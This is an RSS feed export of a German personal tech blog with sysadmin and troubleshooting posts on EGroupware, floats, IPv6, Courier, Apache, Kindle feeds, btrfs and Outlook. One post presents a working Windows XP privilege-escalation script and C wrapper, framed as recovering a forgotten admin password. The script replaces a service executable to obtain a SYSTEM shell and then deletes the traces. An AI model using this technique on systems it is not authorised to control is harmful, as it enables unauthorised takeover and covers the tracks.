<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Georgs Blog</title>
	<atom:link href="http://www.georglutz.de/blog/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.georglutz.de/blog</link>
	<description></description>
	<lastBuildDate>Sun, 06 May 2012 18:32:42 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>Workaround für Kontakte-Sync EgroupwareSynthesis SyncML-Client</title>
		<link>http://www.georglutz.de/blog/2012/05/06/workaround-fur-kontakte-sync-egroupwaresynthesis-syncml-client/</link>
		<comments>http://www.georglutz.de/blog/2012/05/06/workaround-fur-kontakte-sync-egroupwaresynthesis-syncml-client/#comments</comments>
		<pubDate>Sun, 06 May 2012 18:32:42 +0000</pubDate>
		<dc:creator>georg</dc:creator>
				<category><![CDATA[code]]></category>
		<category><![CDATA[office]]></category>
		<category><![CDATA[www]]></category>

		<guid isPermaLink="false">http://www.georglutz.de/blog/?p=360</guid>
		<description><![CDATA[Wie sich gerade rausgestellt hat, funktioniert die Synchronisation der Adressen zwischen Egroupware (hier in der Version 1.8004) und dem Synthesis SyncML-Client unter Android (hier 2.2.21) nicht mehr zuverlässig. Als Symptome waren zunächst eine Menge Dubletten (teilweise über 50) für ein &#8230; <a href="http://www.georglutz.de/blog/2012/05/06/workaround-fur-kontakte-sync-egroupwaresynthesis-syncml-client/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Wie sich gerade rausgestellt hat, funktioniert die Synchronisation der Adressen zwischen Egroupware (hier in der Version 1.8004) und dem Synthesis SyncML-Client unter Android (hier 2.2.21) nicht mehr zuverlässig.</p>
<p>Als Symptome waren zunächst eine Menge Dubletten (teilweise über 50) für ein und denselben Kontakt zu finden, sowohl auf dem Mobilgerät als auch auf dem Server. Wobei jeweils nur ein Kontakteintrag die vollständige Anschrift auswies. Das Problem ließ sich durch manuelles Löschen der doppelten Einträge auf Server-Seite und Neu-Aufsetzen des Clients (Option &#8220;Gerät neu Laden im Synthesis-Client) lösen.</p>
<p>Anschließend stellte sich aber heraus, daß auch bei den neu synchronisierten Einträgen die Adressangeben fehlen.</p>
<p><span id="more-360"></span></p>
<p>In der <a href="http://www.synthesis.ch/faq.php?faq=114&amp;cat=15">Synthesis-FAQ</a> wird der Tipp gegeben, die Option für die Client-Identifizierungsstring ausgeschaltet zu lassen (nennt sich &#8220;App identifiziert sich als &#8216;SySync Client Android &#8216; &#8220;). Allerdings war diese Option bei mir bereits ausgeschaltet.</p>
<p>Hintergrund des Ganzen ist die Tatsache, daß EGroupware auf den Hersteller- und Modell-String des SyncML-Clients matcht, um gerätespezische Eigenheiten zu umschiffen. Der Quellcode dazu findet sich unter <a href="http://dev.egroupware.org/viewvc/egroupware/trunk/syncml/contacts/lib/api.php?view=log"><code>syncml/contacs/lib/api.php</code></a>, Funktion <code>setSupportedFields</code>.</p>
<p>Wie sich bei einer weiteren Analyse auf dem Server gezeigt hat, klappt zwar das Matching auf den Client-Namen, aber EGroupware erwartet beim Hersteller &#8220;Synthesis AG&#8221;. Stattdessen gibt der neueste Client aber lediglich &#8220;Synthesis&#8221; aus. Auf dem Server findet sich im PHP-Fehlerlog auch jede Menge Einträge der folgenden Art:</p>
<pre>Client not found:'Synthesis' 'SySync Client PocketPC PRO'</pre>
<p>Die Programmlogik sorgt nun dafür, daß als Fallback ein Sets von Feldern genommen wird, was gerade nicht die (Privat-)Adresse umfasst.</p>
<p>Ein schneller Workaround ist in setSupportedFields den &#8216;synthesis ag&#8217; case einfach auf &#8216;synthesis&#8217; zu verkürzen. Zumindest in meinem Fall hat das nach einem weiteren &#8220;Gerät neu laden&#8221; dazu geführt, daß auch die Anschriften wieder verfügbar waren. Langfristig mag es sinnvoll sein, von dem fehleranfälligen Matchen von Client-Strings wegzukommen. Synthesis scheint auch gut mit allen Feldern (<code>$defaultFields[1]</code>) auszukommen.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.georglutz.de/blog/2012/05/06/workaround-fur-kontakte-sync-egroupwaresynthesis-syncml-client/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>floats mal wieder</title>
		<link>http://www.georglutz.de/blog/2012/03/18/floats-mal-wieder/</link>
		<comments>http://www.georglutz.de/blog/2012/03/18/floats-mal-wieder/#comments</comments>
		<pubDate>Sun, 18 Mar 2012 13:51:10 +0000</pubDate>
		<dc:creator>georg</dc:creator>
				<category><![CDATA[code]]></category>

		<guid isPermaLink="false">http://www.georglutz.de/blog/?p=290</guid>
		<description><![CDATA[Die Floating-Point-Darstellung ist immer mal wieder für eine Überraschung gut. So lässt sich explizit eine Null mit Vorzeichen darstellen. Der numerische Vergleich mit einer Null ohne Vorzeichen liefert den Wahrheitswert zurück, während eine Umwandlung in einen C-String vorzeichenbehaftet ist. In &#8230; <a href="http://www.georglutz.de/blog/2012/03/18/floats-mal-wieder/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Die Floating-Point-Darstellung ist immer mal wieder für eine Überraschung gut. So lässt sich explizit eine Null mit Vorzeichen darstellen. Der numerische Vergleich mit einer Null ohne Vorzeichen liefert den Wahrheitswert zurück, während eine Umwandlung in einen C-String vorzeichenbehaftet ist.</p>
<p><span id="more-290"></span></p>
<p>In die Falle kann man laufen, wenn man eine Ausgabe erzeugen will, bei dem ganze Zahlen angezeigt werden sollen. ceil liefert z.B. einen solchen &#8220;-0&#8243; &#8211; Wert. Folgendes Programm liefert die Ausgabe &#8220;Float-Vergleich: gleich, String-Vergleich: ungleich&#8221; :</p>
<pre>#include &lt;stdio.h&gt;
#include &lt;math.h&gt;
#include &lt;string.h&gt;

int main()
{
    const float minusnull = ceil(-0.4f);
    char str[3];
    sprintf(str, "%.0f", minusnull);
    printf("Float-Vergleich: %sgleich, ", (minusnull == 0.0f )?"":"un");
    printf("String-Vergleich: %sgleich\n", (strncmp(str, "0", 2) == 0)?"":"un");
}</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.georglutz.de/blog/2012/03/18/floats-mal-wieder/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Windows XP: Vom Poweruser zum Administrator</title>
		<link>http://www.georglutz.de/blog/2012/03/18/windows-xp-vom-poweruser-zum-administrator/</link>
		<comments>http://www.georglutz.de/blog/2012/03/18/windows-xp-vom-poweruser-zum-administrator/#comments</comments>
		<pubDate>Sun, 18 Mar 2012 13:15:37 +0000</pubDate>
		<dc:creator>georg</dc:creator>
				<category><![CDATA[code]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://www.georglutz.de/blog/?p=352</guid>
		<description><![CDATA[Folgende Sitation: Man ist auf einem System mit dem normalen Account in der Gruppe der Poweruser und hat das Admin-Passwort vergessen. Fürs Archiv hier die Anleitung um das Problem zu lösen: Als Poweruser kann man immerhin Programme installieren und Dienste &#8230; <a href="http://www.georglutz.de/blog/2012/03/18/windows-xp-vom-poweruser-zum-administrator/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Folgende Sitation: Man ist auf einem System mit dem normalen Account in der Gruppe der Poweruser und hat das Admin-Passwort vergessen. Fürs Archiv hier die Anleitung um das Problem zu lösen:</p>
<p><span id="more-352"></span></p>
<p>Als Poweruser kann man immerhin Programme installieren und Dienste starten und beenden (zumindest war das bei der damaligen Konfiguration der Fall) . Weiterhin war auf dem Rechner ein Visual Studio installiert, mit dem sich C-Programme übersetzen ließen. Damit sind die Schritte zur Wiedererlangung des Zugriffs die Folgenden:</p>
<ul>
<li>überschreiben der Exe-Datei eines vorhandenen Dienstes mit einem Wrapper-Programm</li>
<li>das Wrapper-Programm startet dabei eine Shell</li>
<li>da der Dienst mit SYSTEM-Rechten ausgeführt wird, hat auch die Shell SYSTEM-Rechte, man kann also damit Änderungen durchführen, die einem Poweruser nicht erlaubt sind (z.B. ihn zum Administrator machen)</li>
</ul>
<p>Zunächst das Skript <code>launchSystemConsole.bat</code>, was die Dateien austauscht, den Dienst startet und stoppt und anschließend die Spuren löscht :</p>
<pre>set servicename="WinVNC4"
set serviceexe="C:\Program Files\RealVNC\VNC4\WinVNC4.exe"
set startwrapper="c:\temp\startwrapper.exe"

copy %serviceexe% %serviceexe%.sav
copy %startwrapper% %serviceexe%
echo start "SYSTEM console" cmd.exe /T:C0 &gt; c:\temp\filetostart.txt

net start %servicename%
net stop %servicename%

copy %serviceexe%.sav %serviceexe%
del c:\temp\filetostart.txt</pre>
<p><code>startwrapper.exe</code> ist das Kompilat von <code>startwrapper.c</code> :</p>
<pre>#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#define MAX_LINE_LENGTH 255

void usage(const char *fileName)
{
   printf("Usage: startwrapper [executable]\n\n");
   printf("If no executable is given, startwrapper tries to open the file %s,\n",fileName);
   printf("reads the first line and executes it as command\n");
}

int main(int argc, char *argv[])
{
   FILE *f;
   const char *fileName = "C:\\temp\\filetostart.txt";
   char line[MAX_LINE_LENGTH];

   f = fopen(fileName, "r");
   if ( f == NULL)
   {
      usage(fileName);
      printf("\nError: Could not open file %s.\n", fileName);
      return 1;
   }

   fgets(line, MAX_LINE_LENGTH ,f);
   if (ferror(f))
   {
      printf("\nError: Could not read first line of file %s", fileName);
      return 2;
   }

   fclose(f);
   system(line);

   return 0;
}</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.georglutz.de/blog/2012/03/18/windows-xp-vom-poweruser-zum-administrator/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>IPV6 privacy extensions in Ubuntu 11.04 (und 11.10) unbrauchbar</title>
		<link>http://www.georglutz.de/blog/2012/01/27/ipv6-privacy-extensions-in-ubuntu-11-04-und-11-10-unbrauchbar/</link>
		<comments>http://www.georglutz.de/blog/2012/01/27/ipv6-privacy-extensions-in-ubuntu-11-04-und-11-10-unbrauchbar/#comments</comments>
		<pubDate>Fri, 27 Jan 2012 11:41:24 +0000</pubDate>
		<dc:creator>georg</dc:creator>
				<category><![CDATA[network]]></category>
		<category><![CDATA[unix]]></category>

		<guid isPermaLink="false">http://www.georglutz.de/blog/?p=341</guid>
		<description><![CDATA[Leider brechen langandauernde Verbindungen / stateful connections nach Aktivierung der IPv6 privacy extensions in obigen Versionen öfters mal zusammenbrechen. Hintergrund: Beim Würfeln des Postfix (der temporären Hostadresse) verwendet Linux zwei Timer: valid lifetime und preferred lifetime. Solange die preferred lifetime nicht &#8230; <a href="http://www.georglutz.de/blog/2012/01/27/ipv6-privacy-extensions-in-ubuntu-11-04-und-11-10-unbrauchbar/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Leider brechen langandauernde Verbindungen / stateful connections nach Aktivierung der <a href="http://www.heise.de/netze/artikel/IPv6-Privacy-Extensions-einschalten-1204783.html">IPv6 privacy extensions</a> in obigen Versionen öfters mal zusammenbrechen.</p>
<p><span id="more-341"></span></p>
<p><strong>Hintergrund:</strong> Beim Würfeln des Postfix (der temporären Hostadresse) verwendet Linux zwei Timer: valid lifetime und preferred lifetime. Solange die preferred lifetime nicht abgelaufen ist, verwendet der Kernel für rausgehende Verbindungen diese Adresse. Im Hintergrund wird daneben noch eine Liste geführt mit abgelaufenen IPv6-Hostadressen für die aber noch Verbindungen akzeptiert werden (valid lifetime).</p>
<p>In dem betroffenen System sind beide Werte große genug, daß dies auch für lange Verbindungen kein Problem darstellen sollte:</p>
<blockquote><p>$ sysctl net.ipv6.conf.eth1.temp_valid_lft<br />
net.ipv6.conf.eth1.temp_valid_lft = 604800</p>
<p>$ sysctl net.ipv6.conf.eth1.temp_prefered_lft<br />
net.ipv6.conf.eth1.temp_prefered_lft = 86400</p></blockquote>
<p>Obwohl das System vor nicht allzulanger Zeit gebootet wurde zeigt ein <code>ip -6 addr show</code> bereits mehrere temporäre IPv6-Adressen mit verdächtig kurzen Lebenszeiten:</p>
<blockquote><p>inet6 2002:55b4:2d3b:1:3059:12ab:caf1:8475/64 scope global temporary dynamic<br />
valid_lft 245sec preferred_lft 65sec<br />
inet6 2002:55b4:2d3b:1:98f4:ba60:7ed3:dbba/64 scope global temporary deprecated dynamic<br />
valid_lft 155sec preferred_lft 0sec<br />
inet6 2002:55b4:2d3b:1:607a:bd6c:25d4:f4b8/64 scope global temporary deprecated dynamic<br />
valid_lft 43sec preferred_lft 0sec</p></blockquote>
<p>Es hat sich <a href="https://bugs.launchpad.net/ubuntu/+source/linux/+bug/759337">rausgestellt</a>, daß der Kernel die definierten Werte mit der Lebenszeit der Router-Advertisements überschreibt und dies auch dann tut, wenn vor dem Ablauf des alten ein neues Advertisement empfangen wurde.</p>
<p>Offenbar ist das Ganze sogar in <a href="http://www.gossamer-threads.com/lists/nsp/ipv6/32963">RFC3041</a> so gefordert. Seit Kernel-Version 3.2 ist das neuere RFC4941 implementiert, daß diese Schwachstelle ausbessert. Leider sind damit ohne Kernel-Update die Privacy-Extensions auf älteren Systemen ziemlich untauglich. Aber immerhin scheint das Problem in einer Vorabversion von Ubuntu 12.04 <a href="https://bugs.launchpad.net/ubuntu/+source/linux/+bug/759337/comments/27">behoben</a> zu sein.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.georglutz.de/blog/2012/01/27/ipv6-privacy-extensions-in-ubuntu-11-04-und-11-10-unbrauchbar/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Gefixt: Courier-MTA stellt nach Update auf 0.66.3 keine Mails mehr zu</title>
		<link>http://www.georglutz.de/blog/2012/01/22/gefixt-courier-mta-stellt-nach-update-auf-0-66-3-keine-mails-mehr-zu/</link>
		<comments>http://www.georglutz.de/blog/2012/01/22/gefixt-courier-mta-stellt-nach-update-auf-0-66-3-keine-mails-mehr-zu/#comments</comments>
		<pubDate>Sun, 22 Jan 2012 11:24:24 +0000</pubDate>
		<dc:creator>georg</dc:creator>
				<category><![CDATA[email]]></category>
		<category><![CDATA[unix]]></category>

		<guid isPermaLink="false">http://www.georglutz.de/blog/?p=335</guid>
		<description><![CDATA[Folgendes Symptom: Nach dem Update von Courier auf Version 0.66.3 werden zwar noch Mails auf SMTP- und sendmail-Ebene angenommen, aber nicht mehr ausgeliefert. Nach längerer Fehlersuche stellt sich heraus, daß die Mails in die Unterverzeichnisse von /var/spool/courier/tmp/ eingestellt werden, aber &#8230; <a href="http://www.georglutz.de/blog/2012/01/22/gefixt-courier-mta-stellt-nach-update-auf-0-66-3-keine-mails-mehr-zu/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Folgendes Symptom: Nach dem Update von <a title="Courier" href="http://www.courier-mta.org/">Courier</a> auf Version 0.66.3 werden zwar noch Mails auf SMTP- und sendmail-Ebene angenommen, aber nicht mehr ausgeliefert.</p>
<p>Nach längerer Fehlersuche stellt sich heraus, daß die Mails in die Unterverzeichnisse von <code>/var/spool/courier/tmp/</code> eingestellt werden, aber die Einreihung in die Queue scheitert. Ein Aufruf von <code>mailq</code> zeigt keine Einträge an.</p>
<p><span id="more-335"></span></p>
<p>Ein <code>strace -Ffo out.txt bash -c 'echo test|sendmail adresse@example.com'</code> offenbart, daß eine Datei nicht geöffnet werden kann:</p>
<blockquote><p>24201 open(&#8220;/var/spool/courier/tmp/trigger&#8221;, O_WRONLY|O_NONBLOCK|O_LARGEFILE) = -1 ENXIO (No such device or address)</p></blockquote>
<p>Bei <code>trigger</code> handelt es sich um eine Pipe. Das Schreiben eines einfachen Newlines in die Datei veranlasst den <code>courierd</code>-Prozeß die Daten aus dem tmp-Verzeichnis zu Scannen und in die Mail-Queue einzureihen. Klappt das Öffnen einer Pipe-Datei nicht, ist das ein Zeichen dafür, daß auf der anderen Seite ein Prozeß fehlt, der die Befehle entgegen nimmt.</p>
<p>In der Tat fehlt der zentrale Prozeß <code>courierd</code>. Ein manueller Aufruf mit <code>strace -fo out_courierd.txt /usr/lib/courier/sbin/courier start</code> führt zu der Ursache des Problems:</p>
<blockquote><p>1938  stat64(&#8220;/etc/sysconfig/i18n&#8221;, 0xbfe96c10) = -1 ENOENT (No such file or directory)<br />
1938  open(&#8220;/etc/sysconfig/i18n&#8221;, O_RDONLY|O_LARGEFILE) = -1 ENOENT (No such file or directory)</p>
<p>1938  write(2, &#8220;/etc/courier/courierd: line 43: &#8220;&#8230;, 79) = 79</p></blockquote>
<p>Während des Aufstartens wird die Konfigurationsdatei <code>/etc/courier/courierd</code> im Shellkontext aufgerufen. Diese Datei ist im Grunde ein Shell-Skript und setzt bestimmt Umgebungsvariablen, die von später gestarteten Prozessen ausgewertet werden.</p>
<p>Beim Durchlaufen des Skripts ist offenbar ist Zeile 43 ein Fehler aufgetreten, der zum Abbruch führte. Tatsächlich wird dort schlicht <code>/etc/sysconfig.i18n</code> eingebunden (<code>. /etc/sysconfig.i18n</code>).</p>
<p>Aus welchen Gründen auch immer ist auf dem betroffenen System diese Datei nicht vorhanden. Dazu muß man wissen, daß bei courier in letzter Zeit <a href="https://courier.svn.sourceforge.net/svnroot/courier/trunk/courier/ChangeLog">größere Umbau-Arbeiten</a> im Internationalisierungs- und Sprachenbereich stattgefunden haben. Wahrscheinlich deshalb hat das Fehlen der Datei erst in dieser Version zu einem schweren Fehler geführt.</p>
<p>Das Problem lässt sich einfach lösen, indem man die Datei <code>/etc/sysconfig.i18n</code> mit folgenden Standardwerten füllt:</p>
<blockquote><p>LANG=&#8221;de_DE.UTF-8&#8243;<br />
SYSFONT=&#8221;latarcyrheb-sun16&#8243;</p></blockquote>
<p>Nach einem <code>/etc/init.d/courier restart start</code> auch wieder der courierd &#8211; Prozeß und das Queueing funktioniert wieder.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.georglutz.de/blog/2012/01/22/gefixt-courier-mta-stellt-nach-update-auf-0-66-3-keine-mails-mehr-zu/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Apache als Frontend für (get on) tracks</title>
		<link>http://www.georglutz.de/blog/2011/12/31/apache-als-frontend-fur-get-on-tracks/</link>
		<comments>http://www.georglutz.de/blog/2011/12/31/apache-als-frontend-fur-get-on-tracks/#comments</comments>
		<pubDate>Sat, 31 Dec 2011 11:25:52 +0000</pubDate>
		<dc:creator>georg</dc:creator>
				<category><![CDATA[www]]></category>

		<guid isPermaLink="false">http://www.georglutz.de/blog/?p=329</guid>
		<description><![CDATA[Fürs Archiv die Apache-Konfiguration für tracks, da ich doch nun lieber orgmode  als GTD-Tool verwende: RewriteEngine on # Prevent redundant rewrites - only rewrite when https is off RewriteCond %{HTTPS} !=on RewriteRule ^/tracks(.*) https://example.com/tracks$1 [R,L] ServerSignature On ProxyRequests Off Order &#8230; <a href="http://www.georglutz.de/blog/2011/12/31/apache-als-frontend-fur-get-on-tracks/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Fürs Archiv die Apache-Konfiguration für <a href="http://getontracks.org/">tracks</a>, da ich doch nun lieber <a href="http://orgmode.org/">orgmode</a>  als GTD-Tool verwende:</p>
<p><span id="more-329"></span></p>
<pre>RewriteEngine on
# Prevent redundant rewrites - only rewrite when https is off
RewriteCond %{HTTPS} !=on
RewriteRule ^/tracks(.*) https://example.com/tracks$1 [R,L]

ServerSignature On
ProxyRequests Off

     Order deny,allow
     Allow from all

ProxyPass /tracks http://127.0.0.1:3000
ProxyPassReverse /tracks http://127.0.0.1:3000
ProxyPreserveHost On</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.georglutz.de/blog/2011/12/31/apache-als-frontend-fur-get-on-tracks/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Amazon Kindle als Offline-Feed-Reader für Tiny Tiny RSS</title>
		<link>http://www.georglutz.de/blog/2011/12/19/amazon-kindle-als-offline-reader-tiny-tiny-rss/</link>
		<comments>http://www.georglutz.de/blog/2011/12/19/amazon-kindle-als-offline-reader-tiny-tiny-rss/#comments</comments>
		<pubDate>Mon, 19 Dec 2011 22:03:01 +0000</pubDate>
		<dc:creator>georg</dc:creator>
				<category><![CDATA[code]]></category>
		<category><![CDATA[www]]></category>

		<guid isPermaLink="false">http://www.georglutz.de/blog/?p=321</guid>
		<description><![CDATA[Dank Calibre gibt es bereits eine einfache Möglichkeit RSS-Feeds auf den Kindle zu pushen. Hat man bereits eine Tiny Tiny RSS &#8211; Installation, will man optimalerweise  nur genau die Nachrichten auf den Kindle laden, die in tt-rssn noch als ungelesen &#8230; <a href="http://www.georglutz.de/blog/2011/12/19/amazon-kindle-als-offline-reader-tiny-tiny-rss/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Dank <a title="Calibre" href="http://calibre-ebook.com/">Calibre</a> gibt es bereits eine einfache Möglichkeit RSS-Feeds auf den Kindle zu pushen. Hat man bereits eine Tiny Tiny RSS &#8211; Installation, will man optimalerweise  nur genau die Nachrichten auf den Kindle laden, die in tt-rssn noch als ungelesen markiert sind.</p>
<p><span id="more-321"></span></p>
<p>Im Grunde ist das nicht besonders schwer. tt-rss bietet schon von sich aus für jeden Feed einen Link an, der wiederrum die Inhalte des ursprünglichen Feed beinhaltet:</p>
<p><a href="http://www.georglutz.de/blog/wp-content/uploads/2011/12/2011-12-19_ttrss.png"><img class="alignnone size-full wp-image-324" style="border: 1px solid black;" title="Tiny Tiny RSS - Screenshot" src="http://www.georglutz.de/blog/wp-content/uploads/2011/12/2011-12-19_ttrss.png" alt="" width="558" height="178" /></a></p>
<p>Passt man die GET-Parameter an, kann auch man auf die ungelesenen Einträge filtern:</p>
<blockquote><p>public.php?op=rss&amp;view_mode=unread&amp;id=1key=abcde123</p></blockquote>
<p>Der Parameter <code>id</code> spiegelt dabei die interne ID des abonnierten Feeds wieder. Der Parameter <code>key</code> ist ein Zufallswert, der für jeden Feed und tt-rss-Benutzer eindeutig ist. Damit ist es möglich auch ohne die Login-Daten einzutragen, diesen speziellen Feeds zu abonnieren.</p>
<p>Calibre selbst wiederrum fasst Feeds in sogenannten Recipes zusammen, wobei ein Recipe in einem einzelnen Ebook mündet. Die Advanced-Einstellung offenbart den zugrundliegenden Python-Code:</p>
<pre>class AdvancedUserRecipe1324229980(BasicNewsRecipe):
   title = u'ttrss'
   oldest_article = 100
   max_articles_per_feed = 100
   feeds = [(u'Name Feed 1', u'https://server/ttrss/public.php?op=rss&amp;view-mode=unread&amp;limit=200&amp;id=22&amp;key=29...'), \
            (u"Name Feed 2", u'https://server/ttrss/public.php?op=rss&amp;view-mode=unread&amp;limit=200&amp;id=64&amp;key=79...)}</pre>
<p>Hat man viele Feeds ist es aber zum einen sehr mühsam in der tt-rss-Oberfläche sich diese Feeds zusammenzuklicken und händisch GET-die Parameter anzupassen. Aus diesem Grund habe ich das Skript <a href="https://github.com/sercxanto/ttrss2calibre">ttrss2calibre</a> geschrieben, was die Handarbeit abnimmt und direkt einen String generiert für den &#8220;feeds = &#8221; Teil.</p>
<p>Der Kindle/calibre ist übrigens so schlau, nur die Feeds anzuzeigen, in denen tatsächlich es auch ungelesen Nachrichten gibt. Das Endergebnis sieht dann z.B. so aus:</p>
<p><a href="http://www.georglutz.de/blog/wp-content/uploads/2011/12/R0012283.jpg"><img class="alignnone size-full wp-image-325" title="R0012283" src="http://www.georglutz.de/blog/wp-content/uploads/2011/12/R0012283.jpg" alt="" width="300" height="400" /></a></p>
<p>Einen sauberen heise-Feed bekommt man übrigens mit dem <a title="rss-extender" href="http://sourceforge.net/projects/rss-extender/">rss-extender</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.georglutz.de/blog/2011/12/19/amazon-kindle-als-offline-reader-tiny-tiny-rss/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Fix für lange Bootzeit nach Update auf Ubuntu 11.04 (btrfs)</title>
		<link>http://www.georglutz.de/blog/2011/12/01/fix-fur-lange-bootzeit-nach-update-auf-ubuntu-11-04-btrfs/</link>
		<comments>http://www.georglutz.de/blog/2011/12/01/fix-fur-lange-bootzeit-nach-update-auf-ubuntu-11-04-btrfs/#comments</comments>
		<pubDate>Thu, 01 Dec 2011 20:35:38 +0000</pubDate>
		<dc:creator>georg</dc:creator>
				<category><![CDATA[unix]]></category>

		<guid isPermaLink="false">http://www.georglutz.de/blog/?p=316</guid>
		<description><![CDATA[Folgendes Symptom: Nach Update eines Systems von Ubuntu 10.10 auf Ubuntu 11.04 (Natty Narwhal) dauert der Bootprozeß plötzlich unverhältnismäßig lange (um die 10 Minuten). Ein Blick in dmesg verrät, daß ein Dateisystem tatsächlich erst nach 437s gemountet wird: [  437.483764] &#8230; <a href="http://www.georglutz.de/blog/2011/12/01/fix-fur-lange-bootzeit-nach-update-auf-ubuntu-11-04-btrfs/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Folgendes Symptom: Nach Update eines Systems von Ubuntu 10.10 auf Ubuntu 11.04 (Natty Narwhal) dauert der Bootprozeß plötzlich unverhältnismäßig lange (um die 10 Minuten).</p>
<p><span id="more-316"></span></p>
<p>Ein Blick in <code>dmesg</code> verrät, daß ein Dateisystem tatsächlich erst nach 437s gemountet wird:</p>
<pre>[  437.483764] device label backup-intern devid 1 transid 1620 /dev/sdb1</pre>
<p>Dabei handelt es sich um eine btrfs-Partition, mit der es unter der Version 10.10 keine Probleme gegeben hatte. Für das Problem wurde auch schon ein <a href="https://bugs.launchpad.net/ubuntu-release-notes/+bug/750209">Bugreport</a> geschrieben. Ironischerweise ist die Ursache ein Bugfix für einen <a href="https://bugs.launchpad.net/ubuntu/+source/btrfs-tools/+bug/660649">Fehler</a> in Ubuntu 10.10.</p>
<h2>Hintergrund</h2>
<p>Ist bei einem Eintrag in /etc/fstab das sechste Feld auf &#8220;1&#8243; gesetzt (was bei mir aus welchen Gründen auch immer der Fall war), wird auf diesem Dateisystem beim Booten ein fsck ausgeführt. Technisch wird dabei unter <code>/sbin/fsck.[filesystemname]</code> aufgerufen.</p>
<p>Bekanntlich ist nun <code>btrfsck</code> im aktuellen Zustand nur von begrenztem Nutzen. Aus diesem Grund gab es bei 10.10 keinen Symlink von <code>/sbin/fsck.btrsfs</code> auf <code>/sbin/btrfsck</code>. Dies wurde aufgrund des ersten Bugreports &#8220;gefixt&#8221;. Aufgrund der unvollständigen Implementierung führt btrfsck aber einen jedesmal einen vollen Scan des Dateisystems durch, auch wenn es zuletzt korrekt ungemountet wurde.</p>
<p>In letzter Konsequenz wird also bei jedem Booten ein voller Dateisystem-Scan durchgeführt, was zu der erheblichen Verzögerung führt.</p>
<h2>Workaround</h2>
<p>Entweder den Symlink <code>/sbin/fsck.btrsfs </code> löschen oder das sechste Feld in <code>/etc/fstab</code> auf &#8220;0&#8243; setzen.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.georglutz.de/blog/2011/12/01/fix-fur-lange-bootzeit-nach-update-auf-ubuntu-11-04-btrfs/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Outlook 2007 für Text-Only-Anzeige konfigurieren</title>
		<link>http://www.georglutz.de/blog/2011/11/29/outlook-2007-fur-text-only-anzeige-konfigurieren/</link>
		<comments>http://www.georglutz.de/blog/2011/11/29/outlook-2007-fur-text-only-anzeige-konfigurieren/#comments</comments>
		<pubDate>Tue, 29 Nov 2011 16:31:25 +0000</pubDate>
		<dc:creator>georg</dc:creator>
				<category><![CDATA[email]]></category>
		<category><![CDATA[office]]></category>
		<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://www.georglutz.de/blog/?p=313</guid>
		<description><![CDATA[Fürs Archiv, weil ich gerade wieder so lange nach der Option gesucht habe : Will man Outlook 2007 dazu bringen Emails grundsätzlich erstmal als Text-Only anzuzeigen, so findet man diese Einstellung nicht etwa unter Extras - Optionen, sondern im Vertrauenseinstellungscenter &#8230; <a href="http://www.georglutz.de/blog/2011/11/29/outlook-2007-fur-text-only-anzeige-konfigurieren/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Fürs Archiv, weil ich gerade wieder so lange nach der Option gesucht habe :</p>
<p>Will man Outlook 2007 dazu bringen Emails grundsätzlich erstmal als Text-Only anzuzeigen, so findet man diese Einstellung nicht etwa unter <code>Extras - Optionen</code>, sondern im <code>Vertrauenseinstellungscenter</code> und dort im Unterpunkt <code>E-Mail-Sicherheit</code>.</p>
<p>Wer hat sich das nur wieder ausgedacht &#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.georglutz.de/blog/2011/11/29/outlook-2007-fur-text-only-anzeige-konfigurieren/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Workaround: Kombination von ecryptfs und pam führt su / cron &#8211; Befehle doppelt aus</title>
		<link>http://www.georglutz.de/blog/2011/11/27/workaround-kombination-von-ecryptfs-und-pam-fuhrt-su-cron-befehle-doppelt-aus/</link>
